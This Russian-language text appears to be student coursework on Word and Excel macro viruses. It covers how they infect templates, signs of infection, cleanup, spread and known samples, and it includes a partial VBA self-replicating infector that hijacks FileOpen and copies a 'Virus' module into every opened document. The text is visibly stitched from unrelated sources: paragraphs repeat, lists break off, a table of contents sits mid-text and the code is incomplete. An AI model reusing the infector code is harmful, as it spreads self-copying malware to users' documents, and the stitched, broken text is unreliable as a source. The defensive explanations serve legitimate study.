Другой способ внедрения вируса в систему базируется на так называемых «Add-in» файлах, т. е. файлах, являющихся служебными дополнениями к Word. В этом случае NORMAL.DOT не изменяется, а Word при запуске загружает макросы вируса из файла (или файлов), определенного как «Add-in». Этот способ практически полностью повторяет заражение глобальных макросов за тем лишь исключением, что макросы вируса хранятся не в NORMAL.DOT, а в каком-либо другом файле.

Возможно также внедрение вируса в файлы, расположенные в каталоге STARTUP. В этом случае Word автоматически подгружает файлы-шаблоны из этого каталога, но такие вирусы пока не встречались.

Обнаружение макровируса

Характерными признаками присутствия макровирусов являются:

  1. невозможность конвертирования зараженного документа Word в другой формат;
  2. зараженные файлы имеют формат Template (шаблон), поскольку при заражении Word-вирусы конвертируют файлы из формата Word Document в Template
  3. невозможность записи документа в другой каталог или на другой диск командой «Save As» (только для Word 6);
  4. в STARTUP-каталоге присутствуют «чужие» файлы;
  5. наличие в Книге (Book) «лишних» и скрытых Листов (Sheets).

Для проверки системы на предмет наличия вируса можно использовать пункт меню Tools/Macro. Если обнаружены «чужие макросы», то они могут принадлежать вирусу. Однако этот метод не работает в случае стелс-вирусов, которые «запрещают» работу этого пункта меню, что, в свою очередь, является достаточным основанием считать систему зараженной.

Многие вирусы имеют ошибки или некорректно работают в различных версиях Word/Excel, в результате чего эти программы выдают сообщения об ошибке, например:

WordBasic Err = номер ошибки.

Если такое сообщение появляется при редактировании нового документа или таблицы и при этом заведомо не используются какие-либо пользовательские макросы, то это также может служить признаком заражения системы. Также сигналом о вирусе являются изменения в файлах и системной конфигурации Word, Excel и Windows. Многие вирусы тем или иным образом меняют пункты меню Tools/Options - разрешают или запрещают функции «Prompt to Save Normal Template», «Allow Fast Save», «Virus Protection». Некоторые вирусы устанавливают на файлы пароль при их заражении. Большое количество вирусов создают новые секции и/или опции в файле конфигурации Windows (WIN.INI).

Естественно, что к проявлениям вируса относятся такие «неожиданности», как появление сообщений или диалогов с достаточно странным содержанием или на языке, не совпадающем с языком установленной версии Word/Excel.

Восстановление
пораженных объектов

В большинстве случаев процедура «лечения» зараженных файлов и дисков сводится к запуску подходящего антивирусного программного обеспечения. Но бывают ситуации, когда обезвреживание вируса приходится осуществлять самостоятельно, т. е. «руками».

Для обезвреживания вирусов Word и Excel достаточно сохранить всю необходимую информацию в формате не-документов и не-таблиц. Наиболее подходящим является текстовый RTF-формат, включающий практически всю информацию из первоначальных документов и не содержащий макросов.

Затем следует выйти из Word/Excel, уничтожить все зараженные Word-документы, Excel-таблицы, NORMAL.DOT для Word и все документы/таблицы в STARTUP-каталогах Word/Excel. После этого следует запустить Word/Excel и восстановить документы/таблицы из RTF-файлов.

В результате этой процедуры вирус будет удален из системы, а практически вся информация останется без изменений. Однако этот метод имеет ряд недостатков. Основным является трудоемкость конвертирования документов и таблиц в RTF-формат, если их число велико. К тому же в случае Excel необходимо отдельно конвертировать все Листы (Sheets) в каждом Excel-файле.

Другим существенным недостатком является потеря нормальных макросов, использующихся при работе. Поэтому перед запуском описанной процедуры следует сохранить их исходный текст, а после обезвреживания вируса восстановить необходимые макросы в первоначальном виде.

Откуда берутся вирусы
и как избежать заражения

Основным источником вирусов на сегодняшний день является Internet. Наибольшее число заражений вирусом происходит при обмене письмами в форматах MS Word/Office 97: пользователь зараженного макровирусом редактора, сам того не подозревая, рассылает «инфицированные» письма своим адресатам, а они рассылают новые письма и т. д.

Предположим, что пользователь ведет переписку с пятью адресатами, каждый из которых, в свою очередь, ведет переписку также с пятью адресатами. После посылки «вирусного» письма все пять компьютеров, получившие его, оказываются зараженными. На втором уровне рассылки будут заражены уже 1+5+20=26 компьютеров. Если адресаты сети обмениваются письмами раз в день, то к концу рабочей недели (за 5 дней) зараженными окажутся как минимум 1+5+20+ 80+320=426 компьютеров. Нетрудно подсчитать, что за 10 дней заразятся более ста тысяч компьютеров! Причем каждый день их количество будет учетверяться.

Описанный случай распространения вируса наиболее часто регистрируется антивирусными компаниями. Но нередки случаи, когда зараженный файл-документ или таблица Excel по причине недосмотра попадает в списки рассылки коммерческой информации какой-либо крупной компании. В этом случае пострадают уже не пять, а сотни или даже тысячи абонентов таких рассылок, которые затем разошлют зараженные файлы десяткам тысячам своих абонентов.

Файл-серверы общего пользования и электронные конференции также служат одним из основных источников распространения вирусов. Практически каждую неделю приходит сообщение о том, что кто-то из пользователей заразил свой компьютер вирусом, который был получен из BBS, ftp-сервера или электронной конференции.

При этом часто зараженные файлы «закачиваются» автором вируса на несколько BBS/ftp или рассылаются по нескольким конференциям под видом новых версий какого-либо программного обеспечения (вплоть до антивирусов).

В случае массовой рассылки вируса по файл-серверам BBS/ftp пораженными одновременно могут оказаться тысячи компьютеров, однако в большинстве случаев «рассылаются» DOS- или Windows-вирусы, скорость распространения которых в современных условиях значительно ниже, чем у их макрособратьев. По этой причине подобные инциденты практически никогда не кончаются массовыми эпидемиями.

Третий путь быстрого распространения вирусов - локальные сети. Если не принимать необходимых мер защиты, то зараженная рабочая станция при входе в сеть заражает один или несколько служебных файлов на сервере, различное программное обеспечение, стандартные документы-шаблоны или Excel-таблицы, применяемые в фирме, и т. д.

Опасность представляют также компьютеры, установленные в учебных заведениях. Если один из студентов принес на своих дискетах вирус и заразил какой-либо из учебных компьютеров, то очередную «заразу» получат и все остальные студенты, работающие на этом компьютере.

То же относится и к домашним компьютерам, если на них работает более одного человека. Нередки ситуации, когда сын-студент (или дочь), работая на многопользовательском компьютере в институте, перетаскивают вирус на домашний компьютер, в результате чего вирус попадает в компьютерную сеть фирмы папы или мамы.

В заключение хочется отметить, что, несмотря на кажущуюся сложность борьбы с макровирусами, обезопасить себя от этой «инфекции» при спокойном и грамотном подходе к проблеме не столь уж сложно.

Достаточно редко, но до сих пор вполне реально заразить свой компьютер вирусом при его ремонте или профилактическом осмотре. Ремонтники - тоже люди, и некоторым из них бывает свойственно наплевательски относиться к элементарным правилам компьютерной безопасности.

В частности, о тех представителях этого многочисленного семейства, которые поражают документы Word .

Характерными признаками присутствия являются:

1) невозможность сохранения заражённого документа Word в другой формат (по команде Сохранить как …);

2) невозможность записи документа в другой каталог или на другой диск командой Сохранить как …;

3) невозможность сохранения внесённых изменений в документ (команда Сохранить );

4) недоступность вкладки Уровень безопасности (меню Сервис – Макрос – Безопасность …);

5) так как многие вирусы написаны с ошибками (или некорректно работают в различных версиях пакета Microsoft Office ), то возможно появление соответствующих сообщений с кодом ошибки;

6) другие «странности» в поведении документов Word ;

7) зачастую можно обнаружить визуально. Дело в том, что большинство вирусописателей отличаются тщеславием: в свойствах файла Word (окно Свойства вызывается по щелчку правой кнопки – выбрать из Свойства ) на вкладке Сводка заполняют поля ввода (Название , Тема , Автор , Категория , Ключевые слова и

Макровирусы – это потенциально нежелательные утилиты, написанные на микроязыках, которые встроены в графические и текстовые системы обработки. Какие файлы заражают макро вирусы? Ответ очевиден. Наиболее распространенные версии для программ Microsoft Excel, Word и Office 97. Данные вирусы встречаются достаточно часто, как создать их проще простого. Именно поэтому при скачивании документов из Интернета стоит быть крайне внимательными и аккуратными. Большинство пользователей недооценивают их, совершая тем самым грубейшую ошибку.

Как происходит заражение ПК

После того как мы определились, что такое макровирусы, давайте разберемся каким образом они проникают в систему и заражают компьютер. Простой способ их размножения позволяет в кратчайшие сроки поражать максимальное количество объектов. Благодаря возможностям макроязыков, они при закрытии или открытии зараженного документа проникают в программы, к которым идет обращение.

То есть, при использовании графического редактора макровирусы заражают все, что связано с ним. Более того, некоторые активничают все время, пока текстовый или графический редактор работают, или вовсе до полного выключения ПК.

В чем заключается принцип их работы

Их действие происходит по следующему принципу: работая с документами, Microsoft Word выполняет разнообразные команды, отдающиеся на языке макрос. Первым делом программа проникает в главный шаблон, через который открываются все файлы этого формата. При этом вирус копирует свой код в макросы, которые обеспечивают доступ к главным параметрам. Выходя из программы, файл в автоматическом режиме сохраняется в dot (применяется для создания новых документов). После чего он попадает в стандартные макросы, стремясь перехватить отправляемые другим файлам команды, заражая и их.

Заражение осуществляется в следующих случаях:

  1. При наличии авто макроса в вирусе (проводится в автоматическом режиме при выключении или запуске программы).
  2. Вирус обладает основным системным макросом (зачастую связан с пунктами меню).
  3. Активизируется автоматически в случае нажатия на конкретные клавиши или комбинации.
  4. Размножается лишь при его запуске.

Такие вирусы поражают обычно все файлы, созданные и привязанные к программам на макроязыке.

Какой вред они приносят

Не стоит недооценивать макровирусы, так как они относятся к полноценным вирусам и несут компьютерам значительный вред. Они могут легко удалить, скопировать или редактировать любые объекты, содержащие, в том числе, и личную информацию. Более того, им также доступна передача информации другим людям с помощью электронной почты.

Более сильные утилиты вообще могут форматировать винчестеры и контролировать работу всего ПК. Именно поэтому мнение, что подобного рода компьютерные вирусы несут в себе опасность исключительно для графических и текстовых редакторов, ошибочное. Ведь такие утилиты как Word и Excel работают во взаимодействии с целым рядом других, которые в этом случае также подвергаются опасности.

Распознаем зараженный файл

Зачастую файлы, зараженные макровирусами и поддавшиеся их влиянию, определить совсем не сложно. Ведь они функционируют совсем не так, как другие утилиты такого же формата.

Опасность можно определить по следующим признакам:

Кроме того, угроза зачастую легко обнаруживается визуально. Их разработчики обычно указывают во вкладке «Сводка» такую информацию, как название утилиты, категория, тема комментарии и имя автора, благодаря чему от макровируса можно избавиться значительно быстрее и проще. Вызвать ее можно при помощи контекстного меню.

Способы удаления

Обнаружив подозрительный файл или документ, первым делом просканируйте его антивирусом. При обнаружении угрозы антивирусы попробуют вылечить его, а в случае неудачи полностью закроют доступ к нему.

В случае если был заражен весь компьютер, следует воспользоваться аварийным загрузочным диском, который содержит антивирус с последней базой данных. Он проведет сканирование винчестера и обезвредит все найденные им угрозы.

Если защититься таким образом не получается, ваш антивирус ничего не может сделать, а аварийного диска нет, то следует попробовать метод «ручного» лечения:


Таким образом, вы удалите макровирус с зараженного документа, однако это ни в коем случае не значит, что он не остался в системе. Именно поэтому рекомендуется при первой возможности просканировать весь персональный компьютер и все его данные антивирусом или (их преимущество в том, что они не требуют установки).

Процесс лечения и очистки компьютера от заражения макровирусами достаточно сложный, поэтому лучше предотвратить заражение еще на начальных этапах.


Таким образом, вы обезопасите себя, и макровирусы никогда не проникнут в соответствующие файлы.

Компью́терный ви́рус - разновидность компьютерных программ или вредоносный код, отличительной особенностью которых является способность к размножению (саморепликация). В дополнение к этому вирусы могут без ведома пользователя выполнять прочие произвольные действия, в том числе наносящие вред пользователю и/или компьютеру.
Даже если автор вируса не программировал вредоносных эффектов, вирус может приводить к сбоям компьютера из-за ошибок, неучтённых тонкостей взаимодействия с операционной системой и другими программами. Кроме того, вирусы обычно занимают некоторое место на накопителях информации и отбирают некоторые другие ресурсы системы. Поэтому вирусы относят к вредоносным программам.

Введение
4
1. Макровирусы
6
1.1 Макровирусы общие сведения
7
8
2. Постановка задачи
10
3. Обзор наиболее известных вирусов в макросах документов
11
3.1 Распространение макровирусов
13
3.2 Алгоритм работы макровирусов для Microsoft Office
14
4. Способы защиты от вирусов в макросах документов
16
4.1 Обнаружение макровируса
17
4.2 Восстановление пораженных объектов
18
5. Создание вирусов в макросах и их внедрение в файлы документов
19
5.1 Постоянный вывод сообщения на экран
19
5.2 Запуск приложении из макровируса
19
5.3 Автозапуск и выполнение
20
Заключение
21
Список использованной литературы

Работа содержит 1 файл

Процедуры-программы могут исполняться непосредственно или же активироваться по запросу из других макросов. Их синтаксис следующий:

Sub <Имя_Макроса>
-> код макроса <-
" Комментарий начинается с апострофа
End Sub
В качестве примера можно привести следующий макрос:
" Данный макрос открывает окно диалога и выводит в нем сообщение
Sub Stupid_Greeting
MsgBox "ХЭЛЛОУ ВОРЛД"
End Sub

1.2 Макровирусы принципы работы

При работе с документом MS Word версий 6 и 7 выполняет различные действия: открывает документ, сохраняет, печатает, закрывает и т. д. При этом Word ищет и выполняет соответствующие встроенные макросы: при сохранении файла по команде File/Save вызывается макрос FileSave, при сохранении по команде File/SaveAs - FileSaveAs, при печати документов - FilePrint и т. д., если, конечно, таковые макросы определены.

Существуют также несколько «автомакросов», автоматически вызываемых при различных условиях. Например, при открытии документа Word проверяет его на наличие макроса AutoOpen. Если такой макрос присутствует, то Word выполняет его. При закрытии документа Word выполняет макрос AutoClose, при запуске Word вызывается макрос AutoExec, при завершении работы - AutoExit, при создании нового документа - AutoNew. Похожие механизмы, но с другими именами макросов и функций, используются и в Excel/Office 97.

Макровирусы, поражающие файлы Word, Excel или Office 97, как правило пользуются одним из трех вышеперечисленных приемов:

  1. в вирусе присутствует автомакрос (автофункция);
  2. в вирусе переопределен один из стандартных системных макросов (ассоциированный с каким-либо пунктом меню);
  3. макрос вируса автоматически вызывается при нажатии на какую-либо клавишу или комбинацию клавиш.

Бывают также полувирусы, которые не используют перечисленные приемы и размножаются, только если пользователь самостоятельно запускает их на выполнение.

Большинство макровирусов содержат все свои функции в виде стандартных макросов MS Word/Excel/Office 97. Существуют, однако, вирусы, использующие приемы скрытия своего кода и хранящие свой код в виде не-макросов. Известны три подобных приема. Все они используют возможность макросов создавать, редактировать и исполнять другие макросы. Как правило, подобные вирусы имеют небольшой (иногда полиморфный) макрос-загрузчик, который вызывает встроенный редактор макросов, создает новый макрос, заполняет его основным кодом вируса, выполняет и затем, как правило, уничтожает, чтобы скрыть следы присутствия вируса.

  1. Постановка задачи

Основными задачами данного курсового проекта являются:

  1. обзор наиболее известных вирусов в макросах документов;
  2. распространение вирусов в макросах документов;
  3. способы защиты от вирусов в макросах документов;
  4. Создание вирусов в макросах и их внедрение;
    1. Обзор наиболее известных вирусов в макросах документов

Saver (в переводе с англ. - "Сохранитель") представляет собой макро-вирус, функционирующий на машинах с установленным ПО MS Office, в состав компонентов которого входит Word 97 (версия 8.0) или Word 2003 (версия 11.0 - компания-разработчик Microsoft реализовала ее версию совместимой со всеми предшествующими ей версиями Word, что и послужило причиной работоспособности под ней вируса). Свое название вирус получил за текстовую строку-"копирайт", содержащуюся в его коде:
SaverVirus, а также за способность создавать на диске копии зараженных им документов. Написан 2 февраля 2000 года в Конотопе, о чем свидетельствует др. текстовая строка-"копирайт" в его теле:
Макрос записан 02.02.00 КОНОТОП

Saver заражает документы, сохраняемые в формате "DOC", а также файлы с настройками MS Office (DOT-файлы). Документы, записанные в формате "RTF", вирус не может заразить, т.к. в структуре последних отсутствуют макро-секции или "макросы" (секции с настройками, связанными с оформлением текущего документа - размера и типа шрифтов, величины полей, расположения объектов и т.д.), что исключает возможность их заражения. Вирус может быть занесен в машину только через зараженные документы или файлы настроек с вышеуказанными расширениями, если таковые будут открыты пользователем с последующим игнорированием предупреждения встроенной в Word макро-защиты:

Рис1 Предупреждение о запуске макроса

Заражение произойдет в том случае, если будет выбрана опция "Не отключать макросы", что почему-то и делает большинство пользователей при появлении данного запроса. После этого Saver отключает встроенную в Word 97 защиту от вирусов в макросах - VirusProtection (под Word 2003 вирус не может этого сделать, т.к. принцип данной защиты там немного др.) и заражает файл шаблона настроек данного редактора:

ПриWord97:
C:\ProgramFiles\ MicrosoftOffice\Шаблоны\Normal .dot

ПриWord2003:
C:\Documents and Settings\%имя текущего пользователя%\Application Data\Microsoft\Шаблоны\Normal. dot
Изменяя его номинальный размер с 26624 байта на 39424 байта или 27136 байт на 39936 байт(пояснение: Normal.dot может иметь один из двух указанных номинальных размеров, что зависит от некоторых системных условий) для Word 97 (для Word 2003 значение зараженного файла-шаблона может быть различным, поскольку оригинальный размер данного объекта может существенно варьироваться в зависимости от ряда настроек, установленных в Word"е). Затем вирус омертвляет файл Normal.dot, превращая его в дроппер своей программы ("dropper" - пускатель, активатор): изменяет его содержимое таким образом, что управление передается на вирусный код. Этот код вирус сохраняет в создаваемый им файл saver.dll:

ПриWord97:
C:\ProgramFiles\ MicrosoftOffice\Office\saver. dll

ПриWord2003:
C:\ProgramFiles\ MicrosoftOffice\OFFICE11\saver .dll

Данный файл имеет размер 29696 байт и представляет собой модифицированный вирусом файл-шаблон Normal.dot.

W97M.Class

Class.sys - вспомогательный файл к вирусу W97M.Class, "ложится" в корневой каталог C:\ . Текст программы-вируса в конце документа (часть программы пишется еще вNormal.dot, т.к. в теле программы есть проверка на количество строк в этом шаблоне). Вирус поражает файл Normal.dot (это шаблон Word97 , вирус делает его больше 50 кБ), а также поражает все открываемые документы Word, т.е. файлы с расширением *.doc, причем делает их примерно в 2 раза больше по размеру.
Вирус активизируется после 14 мая и будет Вас "приветствовать" и дальше, 14 числа каждого последующего месяца. Перемешивает строки в документах, выдает сообщение: «Я думаю, что" ИМЯ_ПОЛЬЗОВАТЕЛЯ" большой толстый сопляк!»

после этого заменяет строки, сохраняет документ и закрывает его.

W97M.Ethan - макрокомандный вирус, состоящий всего из одной макрокоманды. Заражает документы приложения Word97 при их закрытии и глобальный шаблон NORMAL.DOT.

Благоприятным фактором распространения вируса W97M.Ethan служит то, что в Microsoft Word макросы автоматически запускаются при открытии любого документа, его закрытии, сохранении и т.д.

Кроме того, имеется так называемый общий шаблон NORMAL.DOT и макросы, помещенные в общий шаблон, автоматически запускаются при открытии любого документа. Если учесть, что копирование макросов из документа в документ (в частности, в общий шаблон) выполняется всего одной командой, то среда Microsoft Word представляется идеальной для существования макрокомандных вирусов подобныхW97M.Ethan

Инфицирование системы:

После попадания в систему вирус помещает свою единственную макрокоманду в начало модуля, написанного на языке VBA (Visual Basic for Applications - язык Visual Basic для приложений) - "ThisDocument". "ThisDocument" является модулем в шаблоне MS Word 97.

При заражении документа или общего шаблона вирус использует временный текстовый файл "C:\Ethan.___" который является источником его вирусного кода. Данному файлу вирус присваивает атрибуты системный и скрытый.

4. Распространение макровирусов

При запуске Word"а Normal.dot передает управление вирусному "файлу-шаблону" saver.dll. Опыты, проведенные с вирусом на тест-машине, дали следующие результаты:

1. Вирус заражает документы при их закрытии: записывает в их макросекцию свой код, используя собственный макрос AutoSave ("Автосохранение"). При этом вирус блокирует стандартный запрос о подтверждении сохранения документа с внесенными в него изменениями, в результате чего все произведенные в документе изменения как вирусом, так и пользователем, автоматически сохраняются без ведома последнего.

2. В том случае, если документ был просто открыт пользователем или редактировался и запоминался через опцию "Сохранить", вирус заражает этот документ; если же последний перезапоминался пользователем через опцию "Сохранить как...", то вирус заражает только пересохраненный документ, а исходный оставляет без изменения. При этом и в том, и в др. случаях увеличение размера файлов после заражения зависит от ряда условий и не имеет точного значения.

3. Учитывая тот факт, что вирус заражает документы повторно даже просто при их просмотре без внесения пользователем каких-либо изменений, размер файлов постоянно увеличивается, в связи с чем на старых машинах с жесткими дисками небольшого объема свободное место очень быстро уменьшается. Также может наблюдаться сильное торможение машины при работе с Word"ом, что связано с дополнительными затратами ресурсов оперативной памяти на обработку "раздутых" вирусом макросекций зараженных документов и в конечном итоге может стать реальной причиной зависания последних при их открытии.

4. После заражения первого документа на чистой машине вирус создает свой подкаталог:

ПриWord97:
C:\ProgramFiles\ MicrosoftOffice\Office\Doc_ Copy\

ПриWord2003:
C:\ProgramFiles\ MicrosoftOffice\OFFICE11\Doc_ Copy\

В который копирует каждый из вновь зараженных документов. Впоследствии, если имя текущего открытого документа, заражаемого вирусом (повторно или первый раз - не имеет значения) совпадает с именем копии документа, уже находящейся в каталоге "Doc_Copy", то вирус, в зависимости от своих внутренних счетчиков, может перезаписать оригинальное содержимое текущего документа содержимым из файла-копии, что влечет безвозвратную потерю содержимого текущего документа.
Также существует вероятность утечки конфиденциальных данных в том случае, если за машиной работает несколько пользователей: например, один из них работает с дискеты с документом, содержащим секретную финансовую или какую-либо др. информацию, которую не должны знать остальные пользователи. Однако после того, как вирус создаст копию данного файла в папке "Doc_Copy", содержимое документа может быть доступно для просмотра др. пользователям данного компьютера.

5. После закрытия Word"а программа вируса автоматически отключается - срабатывает вирусный макрос AutoClose ("Автоматическое закрытие").

4.1 Алгоритм работы макровирусов для Microsoft Office

Большинство известных Word-вирусов (версий 6, 7 и Word 97) при запуске переносят собственный код в область глобальных макросов документа («общие» макросы).

При выходе из Word глобальные макросы (включая макросы вируса) автоматически записываются в DOT-файл глобальных макросов (обычно таким файлом является NORMAL.DOT). Таким образом, вирус активизируется в тот момент, когда Word грузит глобальные макросы.

Затем вирус переопределяет (или уже содержит в себе) один или несколько стандартных макросов (например, FileOpen, FileSave, FileSaveAs, FilePrint) и перехватывает таким образом команды работы с файлами. При вызове этих команд заражается файл, к которому идет обращение. Для этого вирус конвертирует файл в формат Template (что делает невозможными дальнейшие изменения формата файла, т. е. конвертирование в какой-либо не-Template формат) и записывает в файл свои макросы, включая Auto-макрос.

Другой способ внедрения вируса в систему базируется на так называемых «Add-in» файлах, т. е. файлах, являющихся служебными дополнениями к Word. В этом случае NORMAL.DOT не изменяется, а Word при запуске загружает макросы вируса из файла (или файлов), определенного как «Add-in». Этот способ практически полностью повторяет заражение глобальных макросов за тем лишь исключением, что макросы вируса хранятся не в NORMAL.DOT, а в каком-либо другом файле.

Возможно также внедрение вируса в файлы, расположенные в каталоге STARTUP. В этом случае Word автоматически подгружает файлы-шаблоны из этого каталога, но такие вирусы пока не встречались.
Рассмотрим вирус, предназначенный для заражения Word-документов. Этот вирус использует служебное имя FileOpen. Процедура FileOpen() выполняется всякий раз, когда пользователь открывает файл и маскируется под обычный диалог Файл->Открыть файл.

InfectorPath = MacroContainer.Path + "\" + MacroContainer.Name

Rem Переменная InfectorPath определяет путь к документу, содержащему вирус.

Dialogs(wdDialogFileOpen).Show

Rem Имитируется диалог Файл->Открыть файл

Infected = False

For Each VbComponent In ActiveDocument.VBProject. VBComponents

If VbComponent.Name = "Virus" Then Infected = True

Rem Здесь открытый пользователем файл проверяется на наличие вируса

If Not Infected Then

Rem Если файл не заражен, вирус дописывается в файл

CopyMacro ActiveDocument.Path + "\" + ActiveDocument.Name, InfectorPath

Public Sub CopyMacro(NewDestination, NewSource)

On Error GoTo nextline

Application.OrganizerCopy Source:= _

NewSource, Destination:=NewDestination, Name:="Virus", Object:= _

WdOrganizerObjectProjectItems

Rem копируем модуль с вирусом

ActiveDocument.Save

Rem сохраняем документ


5. Способы защиты от вирусов в макросах документов

Макровирусы обычно пишут школьники в целях самоутверждения. Такие вирусы не делают ничего плохого - они только размножаются на Вашем компьютере. Однако не следует пренебрегать средствами зашиты от макровирусов, так как с помощью WordBasic можно написать вирус, портящий документы Word, или даже форматирующий жесткий диск. Особенность макровирусов состоит в том, что обычные антивирусы их не распознают. Для защиты от макровирусов можно порекомендовать ViruScan фирмы MacCafee. (http://www.macafee.com). Кроме того существует несколько простых способов предотвратить заражение. В Word 6.0 все макросы хранятся в файлах шаблонов (*.dot) и доступны только при открытом шаблоне. Поскольку при открытии Word автоматически загружает глобальный шаблон Normal.dot, все вирусы стремятся записать себя туда. Поэтому, если Вы работаете в Word 6.0, укажите для файла Normal.dot атрибут "только чтение". Еще один вариант - при открытии подозрительных документов держать нажатой клавишу shift, чтобы не допустить выполнение автомакросов. Ну и разумеется, если Вы обнаружите в списке макросов имена, начинающиеся на auto - сотрите их немедленно.В Word97 макросы могут содержаться не только в шаблонах, но и в обычных документах. Как уже упоминалось, для автоматического запуска макроса при том или ином событии макрос должен иметь одно из следующих имен:

  • AutoExec - Запускается при старте Word или загрузке глобального шаблона
  • AutoNew - Запускается при создании нового документа
  • AutoOpen - Запускается при открытии документа
  • AutoClose - Запускается при закрытии документа
  • AutoExit - Запускается при выходе из Word или при закрытии глобального шаблона.

Конечно можно отменить выполнение таких макросов, нажав клавишу Shift при загрузке Word, а также при открытии, создании и закрытии документов, однако такой способ представляется утомительным. Напишем макрос, препятствующий выполнению автомакросов:

MsgBox "Не допустим размножения вирусов!"


WordBasic.DisableAutoMacros


Для предотвращения заражения документов макровирусами необходимо хорошо предсталять себе их принцип работы. Создатели Microsoft Office облегчили задачу злоумышленников тем, что ввели возможность подменять команды Word макрокомандами пользователя. Это значит, что если в Вашем документе есть макрос с именем, скажем, FileOpen, он будет исполняться всякий раз при открытии другого документа.

Особенно уязвимы пользователи Word 97. В старых добрых версиях Word макросы могли храниться только в шаблонах (файлах *.dot). Office"97 позволяет хранить макросы непосредственно в документе - следовательно, возможностей распространения вирусов становится больше.